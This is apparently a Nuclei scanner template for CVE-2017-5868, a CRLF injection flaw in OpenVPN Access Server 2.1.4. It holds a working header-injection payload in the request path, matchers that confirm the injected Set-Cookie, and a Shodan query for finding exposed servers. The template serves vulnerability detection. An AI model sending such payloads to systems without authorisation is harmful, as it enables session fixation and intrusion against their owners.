43 lines
1.5 KiB
YAML
43 lines
1.5 KiB
YAML
id: CVE-2017-5868
|
|
|
|
info:
|
|
name: OpenVPN Access Server 2.1.4 - CRLF Injection
|
|
author: ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
CRLF injection vulnerability in the web interface in OpenVPN Access Server 2.1.4 allows remote attackers to inject arbitrary HTTP headers and consequently conduct session fixation attacks and possibly HTTP response splitting attacks via "%0A" characters in the PATH_INFO to __session_start__/.
|
|
reference:
|
|
- https://www.openwall.com/lists/oss-security/2017/05/23/13
|
|
- http://www.securitytracker.com/id/1038547
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-5868
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2017-5868
|
|
cwe-id: CWE-93
|
|
epss-score: 0.00321
|
|
epss-percentile: 0.71031
|
|
cpe: cpe:2.3:a:openvpn:openvpn_access_server:2.1.4:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: openvpn
|
|
product: openvpn_access_server
|
|
shodan-query: cpe:"cpe:2.3:a:openvpn:openvpn_access_server"
|
|
tags: cve,cve2017,openvpn,crlf
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/__session_start__/%0aSet-Cookie:%20crlfinjection=1;"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: header
|
|
regex:
|
|
- "^Set-Cookie: crlfinjection=1;"
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|
|
# digest: 4b0a00483046022100c0eb86f162347bc372379d1c62653507748fddce5edfd8187416aa41dffdab4d022100b437f9c1ec40c4b96c13756c39cd2e1ac17cd94a9f85db93d038c8cd1f1782bb:922c64590222798bb761d5b6d8e72950 |